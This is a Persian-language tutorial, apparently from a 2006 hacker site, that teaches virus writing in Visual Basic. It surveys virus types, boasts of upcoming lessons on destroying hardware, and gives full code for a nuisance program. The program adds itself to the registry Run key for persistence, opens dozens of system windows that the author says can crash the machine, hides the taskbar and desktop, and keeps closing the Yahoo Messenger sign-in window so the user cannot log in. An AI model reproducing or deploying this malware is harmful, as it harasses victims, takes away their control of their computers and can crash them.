بنام خداوند بزرگ

بعد ار مدت ها که از دنیای مقاله نویسی دور بودم ، پیش خودم گفتم که یه تکانی به خودم بدم و مقاله ای که خیلی دوست داشتم و دارم رو شروع کنم . آموزش ویروس نویسی با زبان ویژوال بیسیک . این سری مقاله ها ، به بررسی انواع ویروس ها و چگونگی ثبت آنها در سیستم شما و انواع روش های آلوده کردن سیستم ها و چگونگی ساخت انها توسط زبان های برنامه نویسی آشنا می سازم . البته بعد از این سلسله مقاله ها ، سعی می کنم که با کمک ایمان جان (iMAN_VB_2006) یک برنامه ویروس ساز بر طبق همین مقاله ها اماده کنیم و تو سایت بذاریم . خب صحبت رو کم می کنم و میریم سر مقاله خودمون :

ویروس ها انواع مختلفی دارن . ویروس های آلوده کننده فایل ها ، ویروس های رو نویس ، ویروس های مقیم حافظه ، ویروس های مقیم سکتور و ... که به بررسی اونا می پردازیم ...

1) ویروس های آلوده کننده فایل ها
این ویروس ها طرز کار جالبی دارن و معمولا هم فایل های اجرایی *EXE* و *PF* و *COM* رو الوده می کنن . کارشون هم بدین صورت است که فایل اجرایی رو پیدا می کنن و در اول اون فایل یک مقداری رو میگیرن خودشون رو و یا کدی رو به حجم 1024 بایت به اول اون فایل برای پرش و اجرا اضافه می کنن . اضافه کردن کد به اول فایل ها به این خاطر است که موقع اجرا شد فایل ، اول از همه ویروس اجرا بشه و وقتی اجرای ویروس با موفقیت انجام شد بقیه فایل هم اجرا شود . ساختار درختی الوده کننده هم به صورت زیر می باشد :

1024 بایت . کد ویروس یا کد پرش
یه مقدار خالی برای محافظه کاری
ادامه فایل

2) ویروس های رونویس
این ویروس ها هم همونطور که از اسمشون پیداست ، خودشون رو روی فایل های اجرایی رو نویسی می کنن یعنی کل ویروس خودش رو فایل اضافه می کنه و هر وقت که اجرا بشه با اون ویروس هم اجرا میشه که معمولا هم مثل ویروس های آلوده کننده به فایل های اجرایی *EXE* و *PF* و *COM* حمله میکنن .

3) ویروس های مقیم حافظه
این ویروس ها هم توی حافظه اصلی شما یه جایی رو پیدا می کنن و خودشون رو مخفی می کنن . یعنی هر وقت که سیستم عامل شما اجرا بشه اون ویروس هم اجرا میشه ولی کار مخربی انجام نمیده . منتظر می میونه تا یه کار خاصی رو انجام بدین ، مثلا یه فایلی رو تو یه برنامه خاص ایجاد ، باز و یا ویرایش کنین و بعد از اون ویروس دست به کار میشه و عمل خودش رو انجام میده . بعضی وقت ها هم خوشون رو به خواب می زنن و مثلا در یه تاریخ خاص یه عمل مخرب انجام میدن و کل سیستم رو از پای می اندازن که با طریقه نویشتن این جور ویروس ها هم آشنا میشیم .

4) ویروس های مقیم سکتور
این نوع ویروس ها (که خودم خیلی ازشون خوشم میاد) خوشون رو هم توی هارد شما کپی می کنن هم سکتور های هارد شما رو آلوده می کنن و چون سکتور ها ، جایی برای نشان دادن در سیستم عامل ندارن و غیر قابل مشاهده هستند پس ممکن است که حتی با پاک کردن سیستم عامل هم کماکان روی سیستم شما باقی بمونن و یا ممکن است که حتی باعث مشکلات سخت افزاری هارد مثل بد سکتور و یا خرابی کل هارد شوید . دوای این ویروس ها هم فقط پارتیشن بندی مجدد است .

5) ویروس های سخت افزاری
این ویروس ها هم که قربونشون برم ، میزنن و سیستم طرف رو پیاده میکنن . مثلا هارد می سوزونن ، ماوس می سوزونن ، سی پی یو می سوزونن ، رم می سوزونن و ... که طریقه نوشتن این جور ویروس ها رو هم بهتون یاد می دم (البته این ویروس ها با زبان ویژوال بیسیک نیست بلکه با زبان ماشین یعنی اسمبلی هست که به طور کامل آموزش سوزوندن هر جور سخت افزاری رو که بخواین رو بهتون می گم . البته بگم که من فقط اموزش می دم و هرگونه استفاه سوء و عوارض اون به عهده خودتونه و بس ... من کاره ای نبیدم)

حال شروع ویروس نویسی با زبان ویزوال بیسیک

برای شروع کار اول باید ببینیم که ویروسی که می سازین میخواد چه کار هایی انجام بده و چطور اون کار ها رو به کد تبدیل کنیم .
برای شروع کار ما یه ویروس کوچولو (ویروس که نه ، یه برنامه مردم آزاری کوچولو و حال گیر خوب) آماده می کنیم . همون اول کار که نمیریم ویروس مقیم حافظه و یا سخت افزاری بسازیم . قدم به قدم جلو میریم ...
خب . حالا میبینیم که یه برنامه حال گیری کوچولوی خوب چی می خواد :

1) یه کد که هر وقت ویندوز بالا اومد ، توسط اون کد ، برنامه ما هم به طور خودکار اجرا بشه
2) یه کد واسه اجرای Computer My و Regedit وTask Manager و ...
3) یه کد واسه باز و بسته کردن درب سی دی رام
4) یه کد واسه مخفی کردن تسک بار
5) یه کد واسه اینکه هر وقت Yahoo Messenger باز شد ، سریع اونو ببنده
6) یه کد واسه غیر فعال کردن دسکتاپ

فعلا تا همین جا بسه . برنامه ای که ما می خواهیم تو این مقاله بنویسیم کارهای بالا رو انجام میده و ... اول از همه باید بگم که این کد ها و در کل این برنامه ای که می سازیم فقط یه نمونه کوچک از سوء استفاده از قدرت برنامه نویسی ویندوزی و اجرای دستورات به صورت خلاف آنچه که هست می باشد . این برنامه فقط جنبه آموزشی داره و سعی کنین که روی هیچ کسی آزمایش نکنین . چون خدا رو خوش نمیاد . من فقط اینا رو نوشتم تا قدرت برنامه نویسی رو ببینین و ببینی که ویروس های مختلف و یا برنامه های مردم آزاری چگونه کار می کنن . البته جسارت به استاید برنامه نویسی نشه (مخصوصا ایمان عزیز) من فقط یه برنامه نویس تازه کار هستم که کارم خرده نویسه ...

کد نویسی برای شروع کار و برنامه ها
(قبلا گفته باشم که برای دنبال کردن این مقالات باید یه کمی با برنامه ویژوال بیسیک و محیط اون و کار اولیه با ابزار ها آشنایی داشته باشین و یتونین با سیستم کار کنین)

حالا میریم سر کد نویسی برای این برنامه
یک پروژه جدید را در ویژوال بیسیک شروع کرده و به قسمت کد نویسی پروژه جدید وارد شوید . حال برای اینکه موقع اجرای برنامه ما ، بدون هیچ دخالتی توسط کاربر ، کد های ما اجرا شود و در کل برنامه حال گیری خود را انجام دهد باید کد نویسی را برای موقع بالا آمدن برنامه انجام دهیم . بدین صورت که کد ها را در قسمت Form_Load وارد می کنیم .

نکته : (تمامی کد هایی که ما در این پروژه وارد می کنیم ، در همین قسمت Form_Load وارد می شود به جز چند خط)

روی فرم برنامه دو بار کلیک کنید تا به قسمت کد نویسیForm_Load برنامه وارد شوید . خود ویژوال بیسیک به طور خودکار خط اول و آخر برنامه را می نویسد . کد نویسی قسمت 1:
این خط ها رو بعد از Private Sub Form_Load وارد کنید (کد واسه بالا اومدن خود به خود برنامه بدون دخالت کاربر و موقع اجرای ویندوز)

```
Dim hregkey As Long
Dim subkey As String
Dim stringbuffer As String

subkey = "Software\Microsoft\Windows\CurrentVersion\Run"

retval = RegOpenKeyEx(HKEY_CURRENT_USER, subkey, 0, KEY_WRITE, hregkey)
If retval <> 0 Then
Debug.Print "Can't open the subkey"
Exit Sub
End If
stringbuffer = App.Path & "\" & App.EXEName & ".exe" & vbNullChar
retval = RegSetValueEx(hregkey, "My App", 0, REG_SZ, ByVal stringbuffer,
Len(stringbuffer))
RegCloseKey hregkey
```

حال که این کد ها را وارد کردیم برای اینکه برنامه ما بتواند در رجیستری ویندوز دست ببرد باید این توان را به برنامه خود بدهیم. پس یک Module جدید را باز کرده و خطوط زیر را به آن وارد کنید :

```
Public Declare Function RegOpenKeyEx Lib "advapi32.dll" _
Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal
ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long

Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal _
```

```
hKey As Long) As Long

Public Declare Function RegSetValueEx Lib "advapi32.dll" _
Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _
As String, ByVal Reserved As Long, ByVal dwType As Long, _
lpData As Any, ByVal cbData As Long) As Long

Public Const HKEY_CURRENT_USER = &H80000001
Public Const KEY_WRITE = &H20006
Public Const REG_SZ = 1
```

حال تجزیه و تحلیل کد های قسمت اول : (قسمت خود تابع موجود در Form_load)
برای فهم بیشتر کد ها ، خط به خط به تشریح کد ها خواهم پرداخت ، از خط اول شروع کرده و به پایین ادامه می دهم ...

معرفی hregkey به عنوان Long معرفی می کنیم که از نوع داده های 4 بایتی است {خط بعدی}
معرفی subkey به عنوان String معرفی می کنیم که طول رشته ثابت است {خط بعدی}
معرفی stringbuffer به عنوان String معرفی می کنیم که طول رشته ثابت است (خط بعدی}

مقدار ثابت (رشته) subkey را تعریف می کنیم که به صورت
Software\Microsoft\Windows\CurrentVersion\Run است و این یک مسیر در رجیستری
میندوز است که دراین قسمت ثابت است (مسیر را بین دو علامت کوتیشن " " قرار می دهیم
البته بعد از نام متغیر و بعد از علامت =) {خط بعدی}

مقدار retval را وارد می کنیم . در این قسمت ابتدا ما باید یک کلید را در رجیستری ثبت کنیم ، که توسط دستور RegOpenKeyEx این کار را انجام می دهیم . شاید بپرسین که این دستور رو از کجا آوردم ، در اصل این دستور یکی از فرامین API است که در Module قرار داده ایم تا فراخوانی کنیم . حال بعد از دستور RegOpenKeyEx یک پرانتز باز می کنیم تا دستور را کامل کنیم .HKEY_CURRENT_USER را بعد از پرانتز اول قرار می دهیم البته این رو باید بگم که این یکی از کلید های اصلی رجیستری است که برای باز کردن آن ما در Module در خطوط آخر این کلید را به عنوان یک تابع عمومی معرفی کردیم که بتوانیم در بقیه پروژه هم از آن استفاده کنیم . بعد از آن یک سمی کالن , می گذاریم تا کد بعدی را وارد کنیم یعنی ادامه مسیر در رجیستری ، در اینجا subkey را فرا خوانی می کنیم که حامل مسیر ادامه است که وارد می کنیم . این کار هم برای این انجام دادیم که کد را کوتاه تر و این که اگه در بقیه کد برنامه احتیاج به این مسیر داشتیم فقط کافیه که نام این آدرس رو وارد کنیم تا میر خود به خود قرار داه بشه . یک سمی کالن دیگه می ذاریم و بعد از اون مقدار صفر رو قرار می دهیم یعنی دیگه آخر خطه و مسیر خالیه . یک سمی کالن دیگه و بعد از اون دستور KEY_WRITE برای نوشتن کلید hregkey که در اول کد ها مسخص کرده بودیم . نام کلید موردنظر رو هم بعد از یک سمی کالن نام کلیدی رو که می خوایم ایجاد کنیم رو می نویسیم . حالا پرانتز رو می بندیم {خط بعدی}
اگر retval غیر از صفر بود یعنی خالی نبود و یا قابل بهره برداری نبود اون وقت {خط بعدی}
یه خطا نشون میده {خط بعدی}
خروج کامل از این کد . این دستور واسه موقعی به کار برده میشه که می خواین در وسطای به کد ، در صورت عملکردی خاص ، کلا کد رو از روال کار خارج کنین {خط بعدی}
پایان شرط {خط بعدی}
هم اکنون مقدار stringbuffer رو که یه مقدار ثابت رشته ای است رو وارد می کنیم . که اینه . مسیر برنامه که همون فایل اجرایی مون باشه (اما ما که نمی دونیم اون طرف کجای هاردش می خواد برنامه ما رو کپی کنه . پس چطور می خوایم مسیر رو بهش بدیم) ما از دستور app.path که مسیر برنامه رو به طور خودکار بر می گردونه استفاده می کنیم و بعدش هم "\" بعدش نام برنامه که تولید میشه . حالا حتی هم اگه اسمش رو تغییر بده باز هم ما می تونیم نام برنامه رو مشخص کنیم که توسط دستور app.EXEName مشخص می کنیم بعدش هم "exe." رو می ذاریم که برنامه ما با پسوند اجرایی ثبت بشه چون اگه این پسوند رو نذاریم کار درست در نمی یاد . {خط بعدی}
حال دوباره retval رو مقدار دهی می کنیم که این کار آخر ماست یعنی ثبت کامل برنامه در رجیستری که از API یی به نام RegSetValueEx برای این کار استفاده می کنیم . بعد از دستور RegSetValueEx یه پرانتز می ذاریم به این معنی که می خوایم بدنه کد نویسی این قسمت رو تکمیل کنیم . اول از همه نام کلید ثبت در مسیر رو وارد می کنیم که به نام *hregkey* معرفی کردیم و بعد یه سمی کالن و بعدش بین دو تا کوتیشن نامی که می خواهید در استارتاپ به برنامه خود به طور رسمی بدهید را وارد کنید که من در اینجا نام MyApp رو انتخاب کردم بعدش یه سمی کالن و بعدش یه شماره رزروی داره که اونو صفر می ذاریم و بعدش یه سمی کالن و بعدش نوع کلید رو تعیین می کنیم که در اینجا از نوع رشته است که REG_SZ می باشد بعدش یه سمی کالن و بعدش ByVal stringbuffer و بعدش یه سمی کالن و بعدش باید طول رشته رو تعریف کنیم که طول رشته برابر مسیر برنامه است که همون *stringbuffer* رو می نویسیم (این نام باید در داخل پرانتز نوشته شود) چون ما بالای این خط مسیر رو مشخص کرده بودیم . {خط بعدی}

حال باید که کلید رو در رجیستری ببندیم و از رجیستری خارج بشیم . با دستور RegCloseKey که از *API* یی که در Module وارد کرده بودیم و فراخوانی کردیم است و بعد از آن هم باید بلافاصله نام کلید مورد نظر در رجیستری رو وارد کنیم که hregkey است . حال کار ما برای ثبت برنامه در رجیستری تمام شد و خوشحال باشید که در دفعه دوم اجرا دیگه برنامه شما خود به خود اجرا میشه . کد های داخل Module هم که در طول کد نویسی توضیح دادم که API های ویندوز هستن . ما برای این اول کد رجیستر رو وارد کردیم که اگه برای دفعه اول اجرای برنامه توسط کاربر ، برنامه دچار مشکل شد حد اقل برنامه ثبت بشه و برای دفعه بعد که ویندوز بالا اومد و مشکل برطرف شد دیگه حال کنید و ببینید که برنامه شما ح.د به خود اجرا خواهد شد . (نترسین . چون من خط به خط توضیح دادم این طور شد و طولانی شد.بقیه کد ها کوتاه هستن)

کد نویسی قسمت 2:
حالا ما به یه کدی نیاز داریم که بتونیم با اون کد برنامه هایی مثل My Computer و Regedit و ... رو اجرا کنیم . چون این برنامه ها رو میتونین مستقیما از منوی RUN اجرا کرد ، پس همون منوی RUN رو میتونین در برنامه نویسی ویژوال بیسیک با دستور Shell شبیه سازی کنین . بدین صورت که برای اجرای مثلا ویرایشگر رجیستری در منوی RUN از دستور regedit استفاده می کردین . برای فراخوانی آن در بیسیک می تونین بدین صورت عمل کنین :

```
Shell ("regedit")
```

به همین راحتی . حال ما در برنامه نویسی برای این برنامه حال گیری در نظر داریم که تعداد زیادی My Computer و Regedit و ... رو باز کنیم تا کاربر ما یه دفعه دسکتاپش پر بشه و زهره ترک بشه (به این میگین حال گیری) . حالا ما می خوایم که از هر برنامه ای 10 تا باز کنیم . برای این کار کد های زیر رو برای این منظور ، زیر کد رجیستری در همون تابع Form_Load وارد کنید :

```
Shell ("explorer")
Shell ("explorer")
Shell ("explorer")
Shell ("explorer")
Shell ("explorer")
Shell ("explorer")
Shell ("explorer")
Shell ("explorer")
Shell ("explorer")
Shell ("explorer")
Shell ("regedit")
Shell ("regedit")
Shell ("regedit")
Shell ("regedit")
Shell ("regedit")
Shell ("regedit")
Shell ("regedit")
Shell ("regedit")
Shell ("regedit")
Shell ("regedit")
Shell ("taskmgr")
Shell ("taskmgr")
Shell ("taskmgr")
Shell ("taskmgr")
Shell ("taskmgr")
Shell ("taskmgr")
Shell ("taskmgr")
Shell ("taskmgr")
Shell ("taskmgr")
Shell ("taskmgr")
Shell ("mspaint")
Shell ("mspaint")
Shell ("mspaint")
Shell ("mspaint")
Shell ("mspaint")
Shell ("mspaint")
Shell ("mspaint")
Shell ("mspaint")
Shell ("mspaint")
Shell ("mspaint")
Shell ("osk")
Shell ("osk")
Shell ("osk")
```

```
Shell ("osk")
Shell ("osk")
Shell ("osk")
Shell ("osk")
Shell ("osk")
Shell ("osk")
Shell ("osk")
Shell ("osk")
Shell ("osk")
Shell ("write")
Shell ("write")
Shell ("write")
Shell ("write")
Shell ("write")
Shell ("write")
Shell ("write")
Shell ("write")
Shell ("write")
Shell ("write")
```

اوه اوه اوه اوه اوه ....
آقا فعلا بسه تا اینجا ... دیگه جلوتر نرین بهتره . بهتون بگم باز شدن همین پنجره ها در ابتدای کار در بیشتر موارد باعث کراش کردن سیستم میشه و .... آقا ما دیگه اون قدر هم مردم آزار نیستیم . البته اگه خواستین بیشتر باز شه می تونین که تموم این کد های رو یه کپی بگیرین و چندین بار تو برنامتون پیست کنین ، میشه حدود 200 یا 300 و یا بیشتر برنامه و پنجره باز کرد . یه خوبی که برنامه های خود ویندوز داره اینه که Opening Control رو ندارن ، یعنی اگه یه باز یه برنامه ای باز شه بار دیگه هم میشه دوباره همونو باز کرد ، امام برنامه هایی مثل Jet Audio این اجازه رو نمی دن . من هم از همین خاصیت برای حال گیری استفاده می کنم . حالا ما تو این کد ها اینبرنامه ها رو فراخوانی می کنیم :
MS Explorer , Registery Editor , Task Manager , Microsoft Paint , On-Screen Keyboard , Win Word (mld)

کد نویسی قسمت 3 :
ما برای باز و بسته کردن درب سی دی رام اول احتیاج به فراخوانی یکی از API های ویندوز رو داریم که در فایل winmm.dll موجود می باشد . این فایل حاوی کتابخانه ای از API های مورد نیاز برای برنامه نویسی مالتی مدیا است که ما فقط یکی از دستورات این فایل را نیاز داریم که mciSendString است . حالا یه Module دیگه بسازین و API زیر رو توش کپی کنین :

```
Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal
lpstrCommand As String, ByVal lpstrReturnString As String, _
ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
```

برای باز کردن سی دی رام در زیر کد های فرم اصلی این کد را وارد کنید :

```
retvalue = mciSendString("set CDAudio door open", returnstring, 127, 0)
```

و برای بستن سی دی رام هم از کد زیر استفاده کنید :

```
retvalue = mciSendString("set CDAudio door closed", returnstring, 127, 0)
```

برای مثال اگر خواستید که دو بار پشت سر هم درب سی دی رام باز و بسته شود باید دو بار جفت کد بالا را با هم وارد کنید تا این عمل انجام شود .

کد نویسی قسمت 4 :
برای مخفی کردن تسک بار ما احتیاج به چند API داریم . مثل FindWindow و ShowWindow و ... که از کتابخانه User32 می باشد . البته این API ها را باید در همان فرم اصلی برنامه کپی کرد در قسمت Option Explicit ، ای پی آی های زیر را در بالای بقیه کد ها کپی کنید :

```
Option Explicit
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal
hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String)
As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hWnd As Long, ByVal
nCmdShow As Long) As Long
Private Declare Function SwapMouseButton& Lib "user32" (ByVal bSwap As Long)
Private Declare Function SystemParametersInfo Lib "user32" Alias
"SystemParametersInfoA" _
(ByVal uAction As Long, ByVal uParam As Long, lpvParam As Any, ByVal fuWinIni As
Long) As Long
Private Const SPI_SCREENSAVERRUNNING = 97
```

حال یک Module جدید ساخته و کد زیر را در آن کپی کنید :

```
Option Explicit
Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName
```

```
As String, ByVal lpWindowName As String) As Long
Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal
hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal
cy As Long, ByVal wFlags As Long) As Long
Public Const SWP_HIDEWINDOW = &H80
Public Const SWP_SHOWWINDOW = &H40
Declare Function ShowCursor& Lib "user32" (ByVal bShow As Long)
Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal
lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As
Long, ByVal hwndCallback As Long) As Long
```

حالا برای اینکه بخواهیم که تسک بار را مخفی کنیم می توانید از کد زیر در زیر بقیه کد های نوشتخ شده برای مخفی کردن تسک بار استفاده کرد ،:

```
Dim rtn As Long
rtn = FindWindow("Shell_traywnd", "")
Call SetWindowPos(rtn, 0, 0, 0, 0, 0, SWP_HIDEWINDOW)
```

کد نویسی قسمت 5 :

حال ما می خوایم که یه کدی بنویسیم که هر وقت یاهو مسنجر ما باز میشه ، اونو ببندیم (فعلا ما فقط صفحه Sing In رو می بندیم ، تا نتونه لاگین بشه ، همین واسه ما بسه) برای اینکار ما ابتدا باید که بتونیم یک پنجره رو پیدا کنیم . برای این کار باید از API استفده کنیم . برای این کار API که نیاز داریم FindWindow می باشد که ما قبلا آن را فراخوانی کرده بودیم . خب حالا ما پنجره را پیدا کردیم ، باید این پنجره را در بالای تمام پنجره ها قرار دهیم و یا اتصال خود را با آن برقرار کنیم ، چون ما می خواهیم آن را ببندیم ، برای این کار باید از یک API دیگر استفده کنیم که به صورت زیر است :

```
Private Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As
Long
```

ایم رو هم می تونین در بالای کد های این قسمت وارد کنید ، در کنار بقیه API ها ...

حال برای بستن پنجره مورد نظر در این برنامه احتیاج به یک تایمر داریم که کار زمانبندی رو انجام می دیم ، یک تایمر به فرم خود اضافه کنید ولی نامش رو تغییر ندین ، کد زیر رو هم در زیر کد ها اضافه کنید که مربوط به تامیر است :

```
Private Sub Timer1_Timer()

Dim handel As Long

handel = FindWindow(vbNullString, "Sign In")
If handel <> 0 Then
SetForegroundWindow handel
SendKeys "%{f4}", 1
End If
End Sub
```

میریم سر ترجمه این کد :

در این قسمت ما یک تابعی رو به نام handel رو معرفی کردیم که از نوع Long می باشد ، {خط بعد}

برای handel ما یک پنجره رو تعریف می کنیم که پیدا کنه ، از دستور FindWindow استفاده کردیم تا پنجره مورد نظر رو پیدا کنیم ، بعد از دستور FindWindow در داخل پرانتز باید ClassName رو مشخص کنیم که رشته پوچ اینجا واسش تعریف می کنیم ، بعد یه سمی کالن و بعدش نام پنجره مورد نظر رو بین دو تا کوتیشن " " وارد می کنیم که در اینجا هدف ما پنجره لاگین می باشد ، نام پنجرا را وارد می کنیم و بعد پرانتز را می بندیم . {خط بعدی}

اگر handel باشه اون وقت {خط بعدی}

از دستور SetForegroundWindow که از همون API سرچشمه میگیره رو استفاده می کنیم ، بعدش هم باید هندل یا همون دسته و نشونه پنجره رو بهش بدیم که از همون نام handel که در بالا تعریف کردیم استفاده می کنیم ، چون ما می خوایم که کنترل پنجره رو بدست بگیریم {خط بعدی}

حالا ما پنجره رو گرفتیم ، چطور پنجره رو ببندیم ، برای این کار از دستور SendKeys استفاده می کنیم ، این دستور می تونه یه نوع شبیه ساز واسه کلید های فشرده شده از طرف صفحه کلید باشه ، بعد از دستور SendKeys بین دو تا کوتیشن ، کد کلید ها رو مینوسیسم (ما می خوایم که فشردن Alt+F4 رو شبیه سازی کنیم) برای شبیه سازی Alt از واژه % و برای f4هم از {f4} استفاده می کنیم . {خط بعدی}

پایان شرط {خط بعدی}

پایان دستور {---}

این دستور برای بستن صفحه Sing In موجود در Yahoo Messenger بود (لازم به ذکر است که این کد در تمامی نسخه های یاهئ مسنجر کار می کنه ، حتی نسخه هایی که در آینده وارد بشن)

کد نویسی قسمت 6 :

برای این کار احتیاج به فراخوانی API یی داشتیم که قبلا در این پروژه آن را فراخوانی کرده ایم ، تابع mciSendString از کتابخانه winmm.dll که قبلا آن را فراخوانی کرده ایم . و همین طور SPI_SCREENSAVERRUNNING که آن را هم قبلا فراخوان داده بودیم ، پس نیازی به فراخوانی مجدد چیزی نداریم ، فقط میریم که کدش رو بنویسیم ، کدش رو هم زیر همون کد ها در قسمت Form_Load می نویسیم :

```
Dim hWnd As Long
hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
ShowWindow hWnd, 0
```

تموم شد . این هم آموزش من ، البته ببخشید که همه کد ها رو توضیح ندادن ، چون هم وقت کم بود و هم اینکه از حوصله این قسمت از مقاله خارج بود ، انشا ء ا... در قسمت های بعدی ، آموزش ها رو کامل تر و توضیحات رو بیشتر می کنم ، البته نه به طوری که حوصله تون سر بره

با تشكر بسيار هكر بي ادعاي استهباني(ELFY) منتظر مقاله هاي بعدي ما باشيد

All right desined by Elfy Hacker
Special thanks to (matin) hack3gorgan & shamssoft
1385/7/28
http://www.elfy.persianhackers.com

king_7025@yahoo.com